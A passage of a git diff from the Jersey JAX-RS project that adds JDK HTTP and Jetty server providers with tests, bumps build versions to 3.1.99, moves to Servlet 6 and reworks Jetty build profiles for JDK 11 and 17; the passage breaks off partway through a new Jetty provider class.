diff --git a/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpServerProvider.java b/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpServerProvider.java
new file mode 100644
index 0000000..b9edb30
--- /dev/null
+++ b/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpServerProvider.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jdkhttp;
+
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.core.Application;
+
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.spi.WebServer;
+import org.glassfish.jersey.server.spi.WebServerProvider;
+
+import com.sun.net.httpserver.HttpServer;
+
+/**
+ * Server provider for servers based on JDK {@link HttpServer}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+public final class JdkHttpServerProvider implements WebServerProvider {
+
+    @Override
+    public <T extends WebServer> T createServer(final Class<T> type, final Application application,
+                                                      final SeBootstrap.Configuration configuration) {
+        return WebServerProvider.isSupportedWebServer(JdkHttpServer.class, type, configuration)
+                ? type.cast(new JdkHttpServer(application, JerseySeBootstrapConfiguration.from(configuration)))
+                : null;
+    }
+
+    @Override
+    public <T extends WebServer> T createServer(final Class<T> type, final Class<? extends Application> applicationClass,
+                                                final SeBootstrap.Configuration configuration) {
+        return WebServerProvider.isSupportedWebServer(JdkHttpServer.class, type, configuration)
+                ? type.cast(new JdkHttpServer(applicationClass, JerseySeBootstrapConfiguration.from(configuration)))
+                : null;
+    }
+}
diff --git a/containers/jdk-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider b/containers/jdk-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
new file mode 100644
index 0000000..2d8abc3
--- /dev/null
+++ b/containers/jdk-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
@@ -0,0 +1 @@
+org.glassfish.jersey.jdkhttp.JdkHttpServerProvider
\ No newline at end of file
diff --git a/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/AbstractJdkHttpServerTester.java b/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/AbstractJdkHttpServerTester.java
index 3886ea9..ad11787 100644
--- a/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/AbstractJdkHttpServerTester.java
+++ b/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/AbstractJdkHttpServerTester.java
@@ -21,6 +21,7 @@
 import java.util.logging.Level;
 import java.util.logging.Logger;
 
+import javax.net.ssl.SSLContext;
 import jakarta.ws.rs.RuntimeType;
 import jakarta.ws.rs.core.UriBuilder;
 
@@ -51,20 +52,21 @@
         if (server != null) {
             return server.getAddress().getPort();
         }
-        final String value =
-                AccessController.doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
+
+        final String value = AccessController.doPrivileged(
+                PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
         if (value != null) {
 
             try {
                 final int i = Integer.parseInt(value);
-                if (i <= 0) {
-                    throw new NumberFormatException("Value not positive.");
+                if (i < 0) {
+                    throw new NumberFormatException("Value is negative.");
                 }
                 return i;
             } catch (NumberFormatException e) {
                 LOGGER.log(Level.CONFIG,
                         "Value of 'jersey.config.test.container.port'"
-                                + " property is not a valid positive integer [" + value + "]."
+                                + " property is not a valid non-negative integer [" + value + "]."
                                 + " Reverting to default [" + DEFAULT_PORT + "].",
                         e);
             }
@@ -90,17 +92,23 @@
 
     public void startServer(Class... resources) {
         ResourceConfig config = new ResourceConfig(resources);
-        config.register(LoggingFeature.class);
-        final URI baseUri = getBaseUri();
-        server = JdkHttpServerFactory.createHttpServer(baseUri, config);
-        LOGGER.log(Level.INFO, "jdk-http server started on base uri: " + server.getAddress());
+        startServer(config);
     }
 
     public void startServer(ResourceConfig config) {
         final URI baseUri = getBaseUri();
         config.register(LoggingFeature.class);
         server = JdkHttpServerFactory.createHttpServer(baseUri, config);
-        LOGGER.log(Level.INFO, "jdk-http server started on base uri: " + server.getAddress());
+        LOGGER.log(Level.INFO, "jdk-http server started on base uri: " + getBaseUri());
+    }
+
+    public HttpServer startServer(final URI uri, final ResourceConfig config,
+            final SSLContext sslContext, final boolean start) {
+        config.register(LoggingFeature.class);
+        server = JdkHttpServerFactory.createHttpServer(uri, config, sslContext, start);
+        LOGGER.log(Level.INFO,
+                "jdk-http server started on base uri: " + UriBuilder.fromUri(uri).port(getPort()).build());
+        return server;
     }
 
     public URI getBaseUri() {
diff --git a/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/JdkHttpServerProviderTest.java b/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/JdkHttpServerProviderTest.java
new file mode 100644
index 0000000..f831890
--- /dev/null
+++ b/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/JdkHttpServerProviderTest.java
@@ -0,0 +1,195 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jdkhttp;
+
+import static java.lang.Boolean.FALSE;
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.nullValue;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.greaterThan;
+import static org.hamcrest.Matchers.instanceOf;
+
+import java.security.AccessController;
+import java.security.NoSuchAlgorithmException;
+import java.util.Collections;
+import java.util.Set;
+import java.util.concurrent.CompletionStage;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import javax.net.ssl.SSLContext;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.UriBuilder;
+
+import org.glassfish.jersey.internal.util.PropertiesHelper;
+import org.glassfish.jersey.server.ServerProperties;
+import org.glassfish.jersey.server.spi.Container;
+import org.glassfish.jersey.server.spi.WebServer;
+import org.glassfish.jersey.server.spi.WebServerProvider;
+
+import com.sun.net.httpserver.HttpServer;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.Timeout;
+
+/**
+ * Unit tests for {@link JdkHttpServerProvider}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+public final class JdkHttpServerProviderTest {
+
+    @Test
+    @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+    public void shouldProvideServer() throws InterruptedException, ExecutionException {
+        // given
+        final Resource resource = new Resource();
+        shouldProvideServer(ShouldProvideServerApplication.class, resource);
+    }
+
+    @Test
+    @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+    public void shouldProvideServerWithClass() throws InterruptedException, ExecutionException {
+        // given
+        final Resource resource = new Resource();
+        final Application application = new ShouldProvideServerApplication();
+        shouldProvideServer(application.getClass(), resource);
+    }
+
+    private void shouldProvideServer(final Object application, final Resource resource)
+            throws InterruptedException, ExecutionException {
+        // given
+        final WebServerProvider webServerProvider = new JdkHttpServerProvider();
+        final SeBootstrap.Configuration configuration = configuration(getPort());
+
+        // when
+        final WebServer webServer = Application.class.isInstance(application)
+                ? webServerProvider.createServer(WebServer.class, (Application) application, configuration)
+                : webServerProvider.createServer(WebServer.class, (Class<Application>) application, configuration);
+        final Object nativeHandle = webServer.unwrap(Object.class);
+        final CompletionStage<?> start = webServer.start();
+        final Object startResult = start.toCompletableFuture().get();
+        final Container container = webServer.container();
+        final int port = webServer.port();
+        final String entity = ClientBuilder.newClient()
+                .target(UriBuilder.newInstance().scheme("http").host("localhost").port(port).build()).request()
+                .get(String.class);
+        final CompletionStage<?> stop = webServer.stop();
+        final Object stopResult = stop.toCompletableFuture().get();
+
+        // then
+        assertThat(webServer, is(instanceOf(JdkHttpServer.class)));
+        assertThat(nativeHandle, is(instanceOf(HttpServer.class)));
+        assertThat(startResult, is(nullValue()));
+        assertThat(container, is(instanceOf(JdkHttpHandlerContainer.class)));
+        assertThat(port, is(greaterThan(0)));
+        assertThat(entity, is(resource.toString()));
+        assertThat(stopResult, is(nullValue()));
+    }
+
+    @Path("/")
+    protected static final class Resource {
+        @GET
+        @Override
+        public String toString() {
+            return Resource.class.getName();
+        }
+    }
+
+    protected static class ShouldProvideServerApplication extends Application {
+        @Override
+        public Set<Object> getSingletons() {
+            return Collections.singleton(new Resource());
+        }
+    }
+
+    private static final Logger LOGGER = Logger.getLogger(JdkHttpServerProviderTest.class.getName());
+
+    private static final int DEFAULT_PORT = 0;
+
+    private static final int getPort() {
+        final String value = AccessController
+                .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
+        if (value != null) {
+            try {
+                final int i = Integer.parseInt(value);
+                if (i < 0) {
+                    throw new NumberFormatException("Value is negative.");
+                }
+                return i;
+            } catch (final NumberFormatException e) {
+                LOGGER.log(Level.CONFIG,
+                        "Value of 'jersey.config.test.container.port'"
+                                + " property is not a valid non-negative integer [" + value + "]."
+                                + " Reverting to default [" + DEFAULT_PORT + "].",
+                        e);
+            }
+        }
+
+        return DEFAULT_PORT;
+    }
+
+    @Test
+    @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+    public final void shouldScanFreePort() throws InterruptedException, ExecutionException {
+        // given
+        final WebServerProvider webServerProvider = new JdkHttpServerProvider();
+        final Application application = new Application();
+        final SeBootstrap.Configuration configuration = configuration(SeBootstrap.Configuration.FREE_PORT);
+
+        // when
+        final WebServer webServer = webServerProvider.createServer(WebServer.class, application, configuration);
+
+        // then
+        assertThat(webServer.port(), is(greaterThan(0)));
+    }
+
+    private SeBootstrap.Configuration configuration(int port) {
+        return (SeBootstrap.Configuration) name -> {
+            switch (name) {
+                case SeBootstrap.Configuration.PROTOCOL:
+                    return "HTTP";
+                case SeBootstrap.Configuration.HOST:
+                    return "localhost";
+                case SeBootstrap.Configuration.PORT:
+                    return port;
+                case SeBootstrap.Configuration.ROOT_PATH:
+                    return "/";
+                case SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION:
+                    return SSLClientAuthentication.NONE;
+                case SeBootstrap.Configuration.SSL_CONTEXT:
+                    try {
+                        return SSLContext.getDefault();
+                    } catch (final NoSuchAlgorithmException e) {
+                        throw new RuntimeException(e);
+                    }
+                case ServerProperties.WEBSERVER_AUTO_START:
+                    return FALSE;
+                default:
+                    return null;
+            }
+        };
+    }
+}
\ No newline at end of file
diff --git a/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/JdkHttpsServerTest.java b/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/JdkHttpsServerTest.java
index 01e9e34..2b912d8 100644
--- a/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/JdkHttpsServerTest.java
+++ b/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/JdkHttpsServerTest.java
@@ -99,7 +99,7 @@
     @Test
     public void testStartHttpServerNoSslContext() throws Exception {
         assertThrows(IllegalArgumentException.class,
-            () -> JdkHttpServerFactory.createHttpServer(httpsUri, rc, null, true));
+                () -> JdkHttpServerFactory.createHttpServer(httpsUri, rc, null, true));
     }
 
     /**
@@ -228,4 +228,4 @@
             server = null;
         }
     }
-}
+}
\ No newline at end of file
diff --git a/containers/jersey-servlet-core/pom.xml b/containers/jersey-servlet-core/pom.xml
index 5985e69..783e2a9 100644
--- a/containers/jersey-servlet-core/pom.xml
+++ b/containers/jersey-servlet-core/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.containers</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-container-servlet-core</artifactId>
@@ -36,7 +36,7 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
+            <version>${servlet6.version}</version>
             <scope>provided</scope>
         </dependency>
         <dependency>
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/ServletContainer.java b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/ServletContainer.java
index abde2ac..19810fa 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/ServletContainer.java
+++ b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/ServletContainer.java
@@ -318,33 +318,12 @@
         final Response.Status badRequest = Response.Status.BAD_REQUEST;
         if (webComponent.configSetStatusOverSendError) {
             response.reset();
-            setStatus(response, badRequest.getStatusCode(), badRequest.getReasonPhrase());
+            response.setStatus(badRequest.getStatusCode());
         } else {
             response.sendError(badRequest.getStatusCode(), badRequest.getReasonPhrase());
         }
     }
 
-    /**
-     * <p>
-     *     Set status and reason-phrase if the API still contains the method. Otherwise, only a status is sent.
-     * </p>
-     * <p>
-     *     It can happen the Servlet 6 API is used and the method is not there any longer. A proprietary API can be used,
-     *     or the class is transformed to Jakarta using some transformer means.
-     * </p>
-     * @param response the servlet {@link HttpServletResponse}
-     * @param statusCode the status code
-     * @param reasonPhrase the reason phrase
-     */
-    public static void setStatus(HttpServletResponse response, int statusCode, String reasonPhrase) {
-        try {
-            // noinspection deprecation
-            response.setStatus(statusCode, reasonPhrase);
-        } catch (NoSuchMethodError noSuchMethodError) {
-            response.setStatus(statusCode);
-        }
-    }
-
     @Override
     public void destroy() {
         super.destroy();
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebComponent.java b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebComponent.java
index 6e795f1..e6f5155 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebComponent.java
+++ b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebComponent.java
@@ -404,7 +404,7 @@
 
             if (configSetStatusOverSendError) {
                 servletResponse.reset();
-                ServletContainer.setStatus(servletResponse, status.getStatusCode(), status.getReasonPhrase());
+                servletResponse.setStatus(status.getStatusCode());
             } else {
                 servletResponse.sendError(status.getStatusCode(), status.getReasonPhrase());
             }
@@ -415,7 +415,7 @@
     }
 
     /**
-     * Initialize {@code ContainerRequest} instance to used to handle {@code servletRequest}.
+     * Initialize {@code ContainerRequest} instance to handle {@code servletRequest}.
      */
     private void initContainerRequest(
             final ContainerRequest requestContext,
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/ResponseWriter.java b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/ResponseWriter.java
index 5188a1a..9876c01 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/ResponseWriter.java
+++ b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/ResponseWriter.java
@@ -37,7 +37,6 @@
 import org.glassfish.jersey.server.ContainerResponse;
 import org.glassfish.jersey.server.internal.JerseyRequestTimeoutHandler;
 import org.glassfish.jersey.server.spi.ContainerResponseWriter;
-import org.glassfish.jersey.servlet.ServletContainer;
 import org.glassfish.jersey.servlet.spi.AsyncContextDelegate;
 
 /**
@@ -143,12 +142,7 @@
             }
         }
 
-        final String reasonPhrase = responseContext.getStatusInfo().getReasonPhrase();
-        if (reasonPhrase != null) {
-            ServletContainer.setStatus(response, responseContext.getStatus(), reasonPhrase);
-        } else {
-            response.setStatus(responseContext.getStatus());
-        }
+        response.setStatus(responseContext.getStatus());
 
         if (!responseContext.hasEntity()) {
             return null;
@@ -218,7 +212,8 @@
                     final int statusCode = Response.Status.INTERNAL_SERVER_ERROR.getStatusCode();
                     if (configSetStatusOverSendError) {
                         response.reset();
-                        ServletContainer.setStatus(response, statusCode, "Request failed.");
+                        //noinspection deprecation
+                        response.setStatus(statusCode);
                     } else {
                         response.sendError(statusCode, "Request failed.");
                     }
diff --git a/containers/jersey-servlet/pom.xml b/containers/jersey-servlet/pom.xml
index e47c6f2..5fe1ef0 100644
--- a/containers/jersey-servlet/pom.xml
+++ b/containers/jersey-servlet/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.containers</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-container-servlet</artifactId>
@@ -36,7 +36,7 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
+            <version>${servlet6.version}</version>
             <scope>provided</scope>
         </dependency>
 
diff --git a/containers/jetty-http/pom.xml b/containers/jetty-http/pom.xml
index ce0768d..670a8d2 100644
--- a/containers/jetty-http/pom.xml
+++ b/containers/jetty-http/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.containers</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-container-jetty-http</artifactId>
@@ -32,6 +32,13 @@
 
     <description>Jetty Http Container</description>
 
+    <properties>
+        <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
+        <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
+        <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
+        <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
+    </properties>
+
     <dependencies>
         <dependency>
             <groupId>jakarta.inject</groupId>
@@ -59,12 +66,11 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
         <dependency>
             <groupId>org.eclipse.jetty</groupId>
-            <artifactId>jetty-util</artifactId>
+            <artifactId>jetty-security</artifactId>
             <exclusions>
                 <exclusion>
                     <groupId>org.slf4j</groupId>
@@ -119,83 +125,15 @@
         </resources>
     </build>
 
-    <properties>
-        <java8.build.outputDirectory>${project.basedir}/target</java8.build.outputDirectory>
-        <java8.sourceDirectory>${project.basedir}/src/main/java8</java8.sourceDirectory>
-        <java11.build.outputDirectory>${project.basedir}/target11</java11.build.outputDirectory>
-        <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
-    </properties>
-
     <profiles>
         <profile>
             <id>JettyExclude</id>
             <activation>
-                <jdk>1.8</jdk>
+                <jdk>[11,17)</jdk>
             </activation>
             <properties>
-                <jetty.version>${jetty9.version}</jetty.version>
+                <jetty.version>${jetty11.version}</jetty.version>
             </properties>
-            <dependencies>
-                <dependency>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-client</artifactId>
-                    <version>${jetty.version}</version>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>org.slf4j</groupId>
-                            <artifactId>slf4j-api</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-                <dependency>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-util</artifactId>
-                    <version>${jetty.version}</version>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>org.slf4j</groupId>
-                            <artifactId>slf4j-api</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-            </dependencies>
-            <build>
-                <directory>${java8.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java8.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <configuration>
-                            <testExcludes>
-                                <testExclude>org/glassfish/jersey/jetty/*.java</testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>Jetty11</id>
-            <activation>
-                <jdk>[11,)</jdk>
-            </activation>
             <build>
                 <directory>${java11.build.outputDirectory}</directory>
                 <plugins>
@@ -216,17 +154,54 @@
                             </execution>
                         </executions>
                     </plugin>
+                    <plugin>
+                        <groupId>org.apache.maven.plugins</groupId>
+                        <artifactId>maven-compiler-plugin</artifactId>
+                        <configuration>
+                            <testExcludes>
+                                <testExclude>org/glassfish/jersey/jetty/*.java</testExclude>
+                            </testExcludes>
+                        </configuration>
+                    </plugin>
                 </plugins>
             </build>
         </profile>
         <profile>
-            <id>copyJDK11FilesToMultiReleaseJar</id>
+            <id>JettyInclude</id>
+            <activation>
+                <jdk>[17,)</jdk>
+            </activation>
+            <build>
+                <directory>${java17.build.outputDirectory}</directory>
+                <plugins>
+                    <plugin>
+                        <groupId>org.codehaus.mojo</groupId>
+                        <artifactId>build-helper-maven-plugin</artifactId>
+                        <executions>
+                            <execution>
+                                <phase>generate-sources</phase>
+                                <goals>
+                                    <goal>add-source</goal>
+                                </goals>
+                                <configuration>
+                                    <sources>
+                                        <source>${java17.sourceDirectory}</source>
+                                    </sources>
+                                </configuration>
+                            </execution>
+                        </executions>
+                    </plugin>
+                </plugins>
+            </build>
+        </profile>
+        <profile>
+            <id>copyJDK17FilesToMultiReleaseJar</id>
             <activation>
                 <file>
-                    <!-- ${java11.build.outputDirectory} does not work here -->
-                    <exists>target11/classes/org/glassfish/jersey/jetty/JettyHttpContainer.class</exists>
+                    <!-- ${java17.build.outputDirectory} does not work here -->
+                    <exists>target17/classes/org/glassfish/jersey/jetty/JettyHttpContainer.class</exists>
                 </file>
-                <jdk>1.8</jdk>
+                <jdk>[11,17)</jdk>
             </activation>
             <build>
                 <plugins>
@@ -247,16 +222,16 @@
                         <inherited>true</inherited>
                         <executions>
                             <execution>
-                                <id>copy-jdk11-classes</id>
+                                <id>copy-jdk17-classes</id>
                                 <phase>prepare-package</phase>
                                 <goals>
                                     <goal>copy-resources</goal>
                                 </goals>
                                 <configuration>
-                                    <outputDirectory>${java8.build.outputDirectory}/classes/META-INF/versions/11</outputDirectory>
+                                    <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
                                     <resources>
                                         <resource>
-                                            <directory>${java11.build.outputDirectory}/classes</directory>
+                                            <directory>${java17.build.outputDirectory}/classes</directory>
                                         </resource>
                                     </resources>
                                 </configuration>
@@ -268,14 +243,14 @@
                         <artifactId>maven-antrun-plugin</artifactId>
                         <executions>
                             <execution>
-                                <id>copy-jdk11-sources</id>
+                                <id>copy-jdk17-sources</id>
                                 <phase>package</phase>
                                 <configuration>
                                     <target>
-                                        <property name="sources-jar" value="${java8.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
+                                        <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
                                         <echo>sources-jar: ${sources-jar}</echo>
                                         <zip destfile="${sources-jar}" update="true">
-                                            <zipfileset dir="${java11.sourceDirectory}" prefix="META-INF/versions/11"/>
+                                            <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
                                         </zip>
                                     </target>
                                 </configuration>
@@ -289,4 +264,5 @@
             </build>
         </profile>
     </profiles>
+
 </project>
diff --git a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java
index 4b80825..2e8b5c5 100644
--- a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java
+++ b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java
@@ -34,7 +34,7 @@
     public static final String HANDLER_NAME = "org.eclipse.jetty.server.Handler";
     @Override
     public <T> T createContainer(final Class<T> type, final Application application) throws ProcessingException {
-        if (JdkVersion.getJdkVersion().getMajor() < 11) {
+        if (JdkVersion.getJdkVersion().getMajor() < 17) {
             throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
         }
         if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || JettyHttpContainer.class == type)) {
@@ -45,7 +45,7 @@
 
     public <T> T createContainer(final Class<T> type, final Application application,
                                  Object parentContext) throws ProcessingException {
-        if (JdkVersion.getJdkVersion().getMajor() < 11) {
+        if (JdkVersion.getJdkVersion().getMajor() < 17) {
             throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
         }
         if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || JettyHttpContainer.class == type)) {
diff --git a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java
new file mode 100644
index 0000000..5022fee
--- /dev/null
+++ b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.core.Application;
+
+import org.glassfish.jersey.internal.util.JdkVersion;
+import org.glassfish.jersey.jetty.internal.LocalizationMessages;
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.spi.WebServer;
+import org.glassfish.jersey.server.spi.WebServerProvider;
+
+/**
+ * Server provider for servers based on Jetty
+ * {@link org.eclipse.jetty.server.Server Server}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+public final class JettyHttpServerProvider implements WebServerProvider {
+
+    @Override
+    public <T extends WebServer> T createServer(final Class<T> type, final Application application,
+                                                      final SeBootstrap.Configuration configuration) {
+        if (JdkVersion.getJdkVersion().getMajor() < 17) {
+            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+        }
+        return WebServerProvider.isSupportedWebServer(JettyHttpServer.class, type, configuration)
+                ? type.cast(new JettyHttpServer(application, JerseySeBootstrapConfiguration.from(configuration)))
+                : null;
+    }
+
+    @Override
+    public <T extends WebServer> T createServer(final Class<T> type, final Class<? extends Application> applicationClass,
+                                                final SeBootstrap.Configuration configuration) {
+        if (JdkVersion.getJdkVersion().getMajor() < 17) {
+            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+        }
+        return WebServerProvider.isSupportedWebServer(JettyHttpServer.class, type, configuration)
